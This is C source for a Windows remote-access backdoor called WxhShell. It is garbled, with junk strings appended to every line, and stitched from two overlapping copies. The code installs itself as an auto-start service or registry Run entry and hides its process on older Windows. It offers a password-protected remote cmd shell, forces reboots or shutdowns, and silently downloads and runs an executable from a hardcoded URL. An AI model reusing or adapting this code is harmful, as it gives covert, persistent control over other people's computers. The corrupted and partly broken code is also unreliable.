    if(Boot(SHUTDOWN)) DfsPg':z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $[xS>iuD  
    else { ^Mmsja5K  
    closesocket(wsh); J P1XH k  
    ExitThread(0); !K%8tr4   
    } O}3|UI!`  
    break; 8JFvz(SK>  
    } ;ipT0*Y  
  // 获取shell wV\.NQtS  
  case 's': { gtwUY$  
    CmdShell(wsh); h0oe'Xov  
    closesocket(wsh); 3Jh!YzI8  
    ExitThread(0); oO4hBM([  
    break; Ef]<0Tm]:  
  } q\n,/#'i~  
  // 退出 RA$%3L[A!  
  case 'x': { n|N?[)^k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d2U+%%Tdw  
    CloseIt(wsh); }`uFLBG3  
    break; s|[CvjL#0  
    } eD,'M  
  // 离开 EGysA{o"X  
  case 'q': { L6 IIk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^iqy|zNtn  
    closesocket(wsh); d^+0=_[PmK  
    WSACleanup(); EpCF/i?9:  
    exit(1); 5kik+  
    break; ?ocBRla  
        } ]R*h3U@5#K  
  } +'0V6 \y  
  } <  UD90}  
r7jh)Q;BbR  
  // 提示信息 :Xs3Vh,V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U62Z ?nge%  
} `>Ms7G9S~e  
  } `rest_vu  
BIXbdo5F  
  return; }1EtM/Ni{!  
} SajasjE!^1  
D4O^5?F)|  
// shell模块句柄 A=+1PgL66  
int CmdShell(SOCKET sock) |)y-EBZe\"  
{ \OwCZ!`7i  
STARTUPINFO si; 7nPjeh  
ZeroMemory(&si,sizeof(si)); KU^|T2s%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t\WU}aKML  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0[f[6mm%m  
PROCESS_INFORMATION ProcessInfo; D]twid~OS  
char cmdline[]="cmd"; NXMZTZpB7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nyL$z-I)  
  return 0; :;jRAjq"  
} :7?n)=Tx  
3Mq%3jX  
// 自身启动模式 CT/>x3o  
int StartFromService(void) A_Y5{6@  
{ d*dPi^JjC  
typedef struct y9U~4  
{ aA]wFZ  
  DWORD ExitStatus; jN!VrRA  
  DWORD PebBaseAddress; i3cMRcS;  
  DWORD AffinityMask; b%].D(qBy  
  DWORD BasePriority; i_:#][nWX  
  ULONG UniqueProcessId; '=(D7F;  
  ULONG InheritedFromUniqueProcessId; E.,  
}   PROCESS_BASIC_INFORMATION; Te`MIR  
32Wa{LG;2  
PROCNTQSIP NtQueryInformationProcess; A{Qo}F<*  
q ,+29  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :<v@xOzxx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a@-bw4S D  
4|UtE<<b  
  HANDLE             hProcess; g"N&*V2  
  PROCESS_BASIC_INFORMATION pbi; 6,!$S2(zT  
+R_s(2vz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !AG oI7W}  
  if(NULL == hInst ) return 0; \hdil`{>  
p*l=rni4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iI3,q-LA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S0ReT*I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  tYG6Gl  
</b_Rar  
  if (!NtQueryInformationProcess) return 0; )6%a9&~H  
y(O~=S+<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7=s7dYlu  
  if(!hProcess) return 0; yH9&HFDp  
owwWm1@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gYloY=.Z$'  
_YN C}PUU  
  CloseHandle(hProcess); u $B24Cy.  
Z*IW*f&0>1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4ves|pLET  
if(hProcess==NULL) return 0; 2cwJ);Eg2  
C}ASVywc,1  
HMODULE hMod; D~M*]&  
char procName[255]; `XM0Mm%  
unsigned long cbNeeded; >DN^',FEm  
""m/?TZq'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NN5G '|i  
v5&W)F  
  CloseHandle(hProcess); d$8K,-M  
ce*?crOV  
if(strstr(procName,"services")) return 1; // 以服务启动 7`e<H8g  
cH5RpeP  
  return 0; // 注册表启动 iBmvy 7S?  
} P76gJ@#m  
D&pp <  
// 主模块 vQj{yJ\l1  
int StartWxhshell(LPSTR lpCmdLine) h>p,r\X  
{ PR*EyM[T  
  SOCKET wsl; w ~^{V4V  
BOOL val=TRUE; VV sE]7P ]  
  int port=0; h)aLq  
  struct sockaddr_in door; \FF|b"E_=  
1~j,A[&|<  
  if(wscfg.ws_autoins) Install(); MP.ye|i4Q  
Z-yoJZi  
port=atoi(lpCmdLine); FC  
)@] W=  
if(port<=0) port=wscfg.ws_port; xk3)#*  
@Y<fj^]k  
  WSADATA data; M:L-j{?y_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rDu?XJA  
Y![8-L|Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SR`A]EC(V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :XTxrYt28  
  door.sin_family = AF_INET; +UX} "m~W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /||8j.Tm  
  door.sin_port = htons(port); 7[i&EPN  
j&b<YPZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lE!.$L*k  
closesocket(wsl); %eGD1.R  
return 1; [?(qhp!  
} }WF6w+  
7M_GGjP  
  if(listen(wsl,2) == INVALID_SOCKET) { k^K%."INn  
closesocket(wsl); 1v<uA9A%[  
return 1; {7q8@`Oa  
} 1^[]#N-Bu  
  Wxhshell(wsl); Q5IN1 ^=HF  
  WSACleanup(); f9hH{ ( A  
v+dT7* ^@  
return 0; Ye^xV,U@  
=/4}!B/  
} xsrdHP1  
y+ izC+  
// 以NT服务方式启动 .Np!Qp1*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'b+ Tio  
{ 8^R~qpg%  
DWORD   status = 0; #vViEBVeN  
  DWORD   specificError = 0xfffffff; Jq+@%#G  
Z'm( M[2K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FY]Et= p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G {a;s-OA3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kq(]7jU$[  
  serviceStatus.dwWin32ExitCode     = 0; |Z$)t%'  
  serviceStatus.dwServiceSpecificExitCode = 0; u N_<G  
  serviceStatus.dwCheckPoint       = 0; "L9pFz</  
  serviceStatus.dwWaitHint       = 0; -cUw}  
;)sC{ "Jb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [.;8GMW  
  if (hServiceStatusHandle==0) return; eEeK ] 8@  
w2K>k/v{-  
status = GetLastError(); q@Zeu\T,*#  
  if (status!=NO_ERROR) 5rJ7CfVq  
{ Yof ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4hn' b[  
    serviceStatus.dwCheckPoint       = 0; QR$m i1Vv\  
    serviceStatus.dwWaitHint       = 0; 0iz\<' p  
    serviceStatus.dwWin32ExitCode     = status; lnV!Xuf  
    serviceStatus.dwServiceSpecificExitCode = specificError; T\Jm=+]c!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $tK/3  
    return; xDmwiVy  
  } 3:b5#c?R-  
WTZuf9:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vnX~OVz2  
  serviceStatus.dwCheckPoint       = 0; ,LL=b-Es  
  serviceStatus.dwWaitHint       = 0; B<,AI7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "h&[6-0'  
} >E>'9@Uh  
zZ8:>2Ps(  
// 处理NT服务事件,比如:启动、停止 {65_k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FXid=&T@0D  
{ `,FhCT5  
switch(fdwControl) SqoO"(1x  
{ `QT9W-0e^  
case SERVICE_CONTROL_STOP: YRj"]= 5N  
  serviceStatus.dwWin32ExitCode = 0; s6I/%R3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N$cAX^~  
  serviceStatus.dwCheckPoint   = 0; u/5)Yx+5_  
  serviceStatus.dwWaitHint     = 0; O{=@c96rl  
  { yuF\YOA9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H8!lSRq  
  } Vv>hr+e  
  return; g<i>252>  
case SERVICE_CONTROL_PAUSE: w.Go]dpK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [Y6ZcO/-i  
  break; +qyx3c+  
case SERVICE_CONTROL_CONTINUE: TZ PUVOtL_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4n2*2 yTg  
  break; P)UpUMt;k  
case SERVICE_CONTROL_INTERROGATE: {)- 3g~  
  break; @Sz7*p  
}; *YTv"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7*47mJyc  
} v0+$d\mP4<  
05;J7T<  
// 标准应用程序主函数 m>'#664q1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }M9I]\  
{ BU%gXr4Ra  
+< c(;Ucl?  
// 获取操作系统版本 LLwC*)#  
OsIsNt=GetOsVer(); ;vgaFc]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wUmcA~3D  
Z]^O=kX7k  
  // 从命令行安装 6am<V]Hw0F  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'tq4-11xB  
'6Yx03t  
  // 下载执行文件 Rhh.fV3  
if(wscfg.ws_downexe) { {7 nz:f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qx77%L4  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2QV|NQSl  
} }zHG]k,j  
3F9AnS  
if(!OsIsNt) { H`8}w{ft&  
// 如果时win9x,隐藏进程并且设置为注册表启动 `qj24ehc  
HideProc(); ?uqPye1fc  
StartWxhshell(lpCmdLine); i8` 0-  
} IL<@UWs6  
else -&r A<j  
  if(StartFromService()) 6ieP` bct  
  // 以服务方式启动 uJL[m(G  
  StartServiceCtrlDispatcher(DispatchTable); qbQH1<yS<  
else rFYw6&;vOi  
  // 普通方式启动 Bl v @u?  
  StartWxhshell(lpCmdLine); wRj&k(?*  
EY[J;H_b  
return 0;  8=j_~&*  
} |ea}+N  
lag%} ^  
6?KJ"Ai9  
)zq sn  
=========================================== VAZ6;3@cd  
0o-KjX?kP  
M`.v/UQn  
+[$ Q C*  
hIMD2  
i@STo7=  
" m}?(c)ST  
OqA#4h4^  
#include <stdio.h> SHP_  
#include <string.h> ~> |o3&G{  
#include <windows.h> S(h+,+289  
#include <winsock2.h> $${9 %qPzb  
#include <winsvc.h> eh} {\P  
#include <urlmon.h> {/SLDyf%Z  
84u %_4/  
#pragma comment (lib, "Ws2_32.lib") /l$>W<}@  
#pragma comment (lib, "urlmon.lib") A>W8^|l6+-  
UqaV9  
#define MAX_USER   100 // 最大客户端连接数 k\wI^D  
#define BUF_SOCK   200 // sock buffer XKepk? E  
#define KEY_BUFF   255 // 输入 buffer uj9IK  
T_*R^Ukb5  
#define REBOOT     0   // 重启 'J"m`a8no  
#define SHUTDOWN   1   // 关机 <hSrx7o  
)Y@mL/_  
#define DEF_PORT   5000 // 监听端口 b(|1DE0Cv  
6l-V% 3-  
#define REG_LEN     16   // 注册表键长度 ;UG]ckV-  
#define SVC_LEN     80   // NT服务名长度 {P@OV1  
yUzpl[*e^o  
// 从dll定义API P n|*(sTl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *P}v82C N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ts3BmfR?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .,5N/p"aV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r^|AiYI)  
(R)(%I1Oz  
// wxhshell配置信息 P(#by{s  
struct WSCFG { z}:|is)?  
  int ws_port;         // 监听端口 W4~:3 Sk  
  char ws_passstr[REG_LEN]; // 口令 WYklS<B[  
  int ws_autoins;       // 安装标记, 1=yes 0=no t^zmv PDK  
  char ws_regname[REG_LEN]; // 注册表键名 DYKJVn7w  
  char ws_svcname[REG_LEN]; // 服务名 DoA+Bwq@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 amY\1quD|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o<r|YRzQl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1EvK\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b;XUv4~V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \KJ\>2Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >uN)O-  
&hb:~>  
}; Q(\U'|%J  
HX77XTy  
// default Wxhshell configuration !K~:crUV|S  
struct WSCFG wscfg={DEF_PORT, ;P#c!  
    "xuhuanlingzhe", ?-`G0(  
    1, oSOO5dk:z  
    "Wxhshell", 0[qU k(=}[  
    "Wxhshell", Rr|&~%#z  
            "WxhShell Service", MWxv\o   
    "Wrsky Windows CmdShell Service", ;Xw'WMb*=  
    "Please Input Your Password: ", "X }@VT=  
  1, ]'2;6%. 4  
  "http://www.wrsky.com/wxhshell.exe", lnk`D(>W  
  "Wxhshell.exe" `N69xAiy  
    }; NBUSr}8|  
Z`=[hu  
// 消息定义模块 _*SA_.0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H8g1SMT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o`8dqP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wp[R$/uT  
char *msg_ws_ext="\n\rExit."; lStYfO:<'v  
char *msg_ws_end="\n\rQuit."; qx$-% P  
char *msg_ws_boot="\n\rReboot..."; Xo{|m[,  
char *msg_ws_poff="\n\rShutdown..."; T7!"gJ  
char *msg_ws_down="\n\rSave to "; !e}LB%zf  
El}."}l&  
char *msg_ws_err="\n\rErr!"; RvQl{aL  
char *msg_ws_ok="\n\rOK!"; &F*L=Ng  
0?tn.<'B8T  
char ExeFile[MAX_PATH]; oTPPYi[r  
int nUser = 0; ,&1DKx  
HANDLE handles[MAX_USER]; s:6pPJL  
int OsIsNt; Z*}5M4  
B4yC"55  
SERVICE_STATUS       serviceStatus; i9qn_/<c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wIv_Z^% V  
*h`%u8/{  
// 函数声明 gRk%ObJGqm  
int Install(void); *<PQp   
int Uninstall(void); G/2| *H  
int DownloadFile(char *sURL, SOCKET wsh); Yy$GfjJtL]  
int Boot(int flag); >>**n9\q  
void HideProc(void); }E\ b_.  
int GetOsVer(void); ]ZQ3|ZJ?<  
int Wxhshell(SOCKET wsl); !f\q0Gnl  
void TalkWithClient(void *cs); D{]t50a.  
int CmdShell(SOCKET sock); f xWW "B*A  
int StartFromService(void); 6[dLj9 G%  
int StartWxhshell(LPSTR lpCmdLine); FJ|6R(T_  
cK;,=\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pohA??t2:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); = h _>OA  
{R2gz]v4  
// 数据结构和表定义 6/m|Sg.m  
SERVICE_TABLE_ENTRY DispatchTable[] = (~R[K,G  
{ s)=fs#%  
{wscfg.ws_svcname, NTServiceMain}, (8(7:aE $  
{NULL, NULL} Hl,.6 >F?  
}; H8V${&!ho  
k* ayzg3F>  
// 自我安装 lzQmD/i*  
int Install(void) . C g2Y  
{ 1ke H1[  
  char svExeFile[MAX_PATH]; FCC9Ht8U?  
  HKEY key; }/ p>DMN  
  strcpy(svExeFile,ExeFile); 9t.u9C=!F  
qP"+SVqC  
// 如果是win9x系统,修改注册表设为自启动 hPs7mnSW  
if(!OsIsNt) { eY)JuJ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 03WLVP@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ewNzRH,b  
  RegCloseKey(key); ]wH,534  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bZ-"R 6a$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #}/YnVk  
  RegCloseKey(key); ?R7>xrp5  
  return 0; xQ[~ c1  
    } ZfPWH'P  
  } U>bmCK2  
} )575JY `6K  
else { i?.7o*w8  
I Xm}WTgF!  
// 如果是NT以上系统,安装为系统服务 G@YX8!w U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V &K:~[M  
if (schSCManager!=0) #1INOR9  
{ 5B&#Sh`r  
  SC_HANDLE schService = CreateService j-e gsKR  
  ( O "jX|5  
  schSCManager, )ZU)$dJ>V  
  wscfg.ws_svcname, K3uNR w  
  wscfg.ws_svcdisp, |i)7j G<  
  SERVICE_ALL_ACCESS, LciSQ R!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3ErW3Ac Ou  
  SERVICE_AUTO_START, I<v1S  
  SERVICE_ERROR_NORMAL, mE`O G8  
  svExeFile, ?#OGH`ZvkI  
  NULL, AY{-Hf&  
  NULL, 9~bl  
  NULL, PGaB U3  
  NULL, zYCrfr  
  NULL i+x$Y)=  
  ); F/MzrK\':m  
  if (schService!=0) &+@~;p 5F  
  { f`zH#{u  
  CloseServiceHandle(schService);  Q.3oDq  
  CloseServiceHandle(schSCManager); MIblx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^6tcB* #A  
  strcat(svExeFile,wscfg.ws_svcname); l98.Hb7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { huMNt6P[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &d"c6il[  
  RegCloseKey(key); L/2{}l>D  
  return 0; So&an !  
    } zh5$$*\  
  } ]g#ur@Y%  
  CloseServiceHandle(schSCManager); |'w_5?|4  
} K4]42#  
} Rgb1B3gu  
PNm WZW*  
return 1; >EVlMt27'  
} H3$~S '  
(AHZmi V  
// 自我卸载 ]2^tV.^S^  
int Uninstall(void) e,Ih7-=Er,  
{ + 9vd(c  
  HKEY key; XCQS_'D  
80PlbUBb!  
if(!OsIsNt) { 9.<dS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c$X0C&m  
  RegDeleteValue(key,wscfg.ws_regname); BXNt@%  
  RegCloseKey(key); (&n4^tJ+_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ls5s}X  
  RegDeleteValue(key,wscfg.ws_regname); L0v& m  
  RegCloseKey(key); \,:3bY_d  
  return 0; ooJ ^8L  
  } oSmv  (O  
} x"hZOgFZ  
} L@ ,-V  
else { fZoV\a6Kj  
h8IjTd]z{$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "qL4D4  
if (schSCManager!=0) DU_38tz  
{ WM& k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HK@LA3  
  if (schService!=0) t;[L-|^  
  { RR2Q  
  if(DeleteService(schService)!=0) { 2k\i/i/Y  
  CloseServiceHandle(schService); .'3&!#3  
  CloseServiceHandle(schSCManager); qT`sPEs;V  
  return 0; z^+`S:  
  } \ (y6o}aW  
  CloseServiceHandle(schService); ;aZ$qgN*Y  
  } ,@+ 7(W  
  CloseServiceHandle(schSCManager); MQL1/>j;  
} ,2Y P D4  
} }*WNrS">S  
ftVA  
return 1; %bM^/7  
} ]=2wQ8  
QPe+K61U  
// 从指定url下载文件 ]B;GU  
int DownloadFile(char *sURL, SOCKET wsh) r 5!ie!5gE  
{ (TufvHC  
  HRESULT hr; \Y)pm9!  
char seps[]= "/"; ]X:{y&g(  
char *token; 4::>Ca^{  
char *file; @Y/PvS8!  
char myURL[MAX_PATH]; ]LFY2w<  
char myFILE[MAX_PATH]; Z]$RO  
U.7;:W}c  
strcpy(myURL,sURL); X~/hv_@  
  token=strtok(myURL,seps); EJ$-  
  while(token!=NULL) =bJj;bc'5  
  { #;Yn8'a~  
    file=token; @@L@r6  
  token=strtok(NULL,seps); ahagt9[,:F  
  } (!h%) _?.l  
 &!I^m  
GetCurrentDirectory(MAX_PATH,myFILE); xkv2#"*v  
strcat(myFILE, "\\"); wJ_E\vP  
strcat(myFILE, file); )9~1XiS,  
  send(wsh,myFILE,strlen(myFILE),0); SHw%u~[hu  
send(wsh,"...",3,0); sb 3l4(8g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fo63H'7  
  if(hr==S_OK) y'(bp=Nq  
return 0; EleK*l  
else <ex,@{n4  
return 1; 1:-^*  
__U;fH{c  
} !^Mk5E(  
I!(.tu6u6c  
// 系统电源模块 #q{i<E 07  
int Boot(int flag) Dp:u!tdbeg  
{ =}S*]Me5  
  HANDLE hToken; VKtrSY}6T  
  TOKEN_PRIVILEGES tkp; 8'=8!V  
@Q:5{?  
  if(OsIsNt) { NTRw:'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SB#YV   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0- GA,I_  
    tkp.PrivilegeCount = 1; PV?XpT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {I s?>m4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v:s.V>{"S  
if(flag==REBOOT) { QcyYTg4i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Nrl&"IK|J  
  return 0; S>~QuCMY  
} /yHM =&Vg]  
else { lQs|B '  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bP;cDQ(g  
  return 0; 8i!~w 7z  
} uq;,h46ki  
  } zh5{t0E}C  
  else { 76[O3%  
if(flag==REBOOT) { 9XGzQ45R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F{*S}&q*)o  
  return 0; 'L#qR)t  
} du2q6"  
else { iqecm]Z0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (5@9j  
  return 0; 8+Lig  
} w7Nb+/,sg  
} .Z=D|&!  
WeGT}  
return 1; L]{ 1"`#  
} A8JEig 3Ix  
7p"" 5hw  
// win9x进程隐藏模块 s&S8P;K|  
void HideProc(void) `Q!|/B  
{ 4]$cf:  
.+XGbs]kCi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }+U} [G  
  if ( hKernel != NULL ) 1-@.[VI  
  { L2>UA<@mZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q2;zve&Dl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n50XGv  
    FreeLibrary(hKernel); v'`9^3(-  
  } 5q[0;`J  
q_Td!?2?  
return; 2Up1 FFRx  
} ;$W/le"Xr  
+O23@G?x  
// 获取操作系统版本 Mf0g)X}1  
int GetOsVer(void) T:Dp+m!\{  
{ 'tK5s>gv<  
  OSVERSIONINFO winfo; se](hu~w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;czMsHu0X  
  GetVersionEx(&winfo); iqCKVo7:M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1 O+4A[cr  
  return 1; o"@y=n/  
  else d )|{iUcW  
  return 0; IC}?oXs5G  
} }zVPdBRfm  
ADRjCk}I  
// 客户端句柄模块 nGA'\+zj L  
int Wxhshell(SOCKET wsl) c@:L7#8  
{ <:yB4t3H+q  
  SOCKET wsh; q#B^yk|Y  
  struct sockaddr_in client; >'eOzMBn  
  DWORD myID; b?h9G3J_a  
89KX.d  
  while(nUser<MAX_USER) P[PBoRd2  
{ >`DbT:/<  
  int nSize=sizeof(client); juuBLv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tx;DMxN!W  
  if(wsh==INVALID_SOCKET) return 1; ;J pdnV  
UD [S>{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mg)lr&-b  
if(handles[nUser]==0) 1E!0N`E  
  closesocket(wsh); .:,RoK1  
else lpkg( J#&  
  nUser++; 0j%@P[zQ  
  } }*l V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~I6Er6$C^  
>jAr9Blz]  
  return 0; ((rk)Q+;v  
} N m-{$U  
VY8 p[`  
// 关闭 socket z^9Yoqog  
void CloseIt(SOCKET wsh) MJ[#Gq\0R  
{ th8f  
closesocket(wsh); P%>? O :a  
nUser--; 4R\bU"+jZ_  
ExitThread(0); V#!ihL/>  
} xd8UdQ, lt  
=9n$ at$l@  
// 客户端请求句柄 &9\z!r6mc  
void TalkWithClient(void *cs) "/hM&  
{ x Yr-,$/  
{e[S?1t=l  
  SOCKET wsh=(SOCKET)cs; l(9$s4R  
  char pwd[SVC_LEN]; cH6ie?KvAo  
  char cmd[KEY_BUFF]; f&t]O$  
char chr[1]; ,-A8;DW]^J  
int i,j; phSF. WC  
!mK[kXo  
  while (nUser < MAX_USER) { {s|rk  
35Nwx<  
if(wscfg.ws_passstr) { 9Qp39(l:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O z%K*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .z+?b8Q\  
  //ZeroMemory(pwd,KEY_BUFF); 1&c>v3 $2  
      i=0; 8Q^yh6z  
  while(i<SVC_LEN) { }[Uh4k8P  
 Q^/5hA  
  // 设置超时 8^=g$;g  
  fd_set FdRead; `(1em%}  
  struct timeval TimeOut; !cw<C*  
  FD_ZERO(&FdRead); 0Mt2Rg}  
  FD_SET(wsh,&FdRead); B{!)GZ(}  
  TimeOut.tv_sec=8; NAhV8  
  TimeOut.tv_usec=0; ed*Cx~rT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =25q Y"Mf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?RvXO'ml  
VE^NSk Oa&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _:0<]<x?  
  pwd=chr[0];  }5bh,'  
  if(chr[0]==0xd || chr[0]==0xa) { {rGq|Bj  
  pwd=0; Vn? %w~0!  
  break; I"@X~Y7}  
  } y|q4d(P.  
  i++; d9|dHJf  
    } #/@U|g  
([UuO}m-  
  // 如果是非法用户,关闭 socket AL! ^1hCF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c&)H   
} (w]w 2&Y D  
`|wH=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0IBVR,q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2F^ %d9`  
;6t>!2I>C  
while(1) { PC/fb-J  
#})Oz| c  
  ZeroMemory(cmd,KEY_BUFF); ]>/YU*\  
!`\W8JT+  
      // 自动支持客户端 telnet标准   Dqe)8 r  
  j=0; ?LgR8/Io@5  
  while(j<KEY_BUFF) { l9 )iLOj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j>eL&.d  
  cmd[j]=chr[0]; ~j 3B'  
  if(chr[0]==0xa || chr[0]==0xd) { Yqmx]7Y4  
  cmd[j]=0; #NNj#  
  break; >joGG T  
  } O;f^' N  
  j++; 3/:O8H  
    } 0~A<AF*t  
UA{sUj+?  
  // 下载文件 # j*$ `W;  
  if(strstr(cmd,"http://")) { !$AVl MnJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J"|)?$d]z  
  if(DownloadFile(cmd,wsh)) <qZXpQ#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xC`Hm?kM  
  else ]l+Bg;F#V  
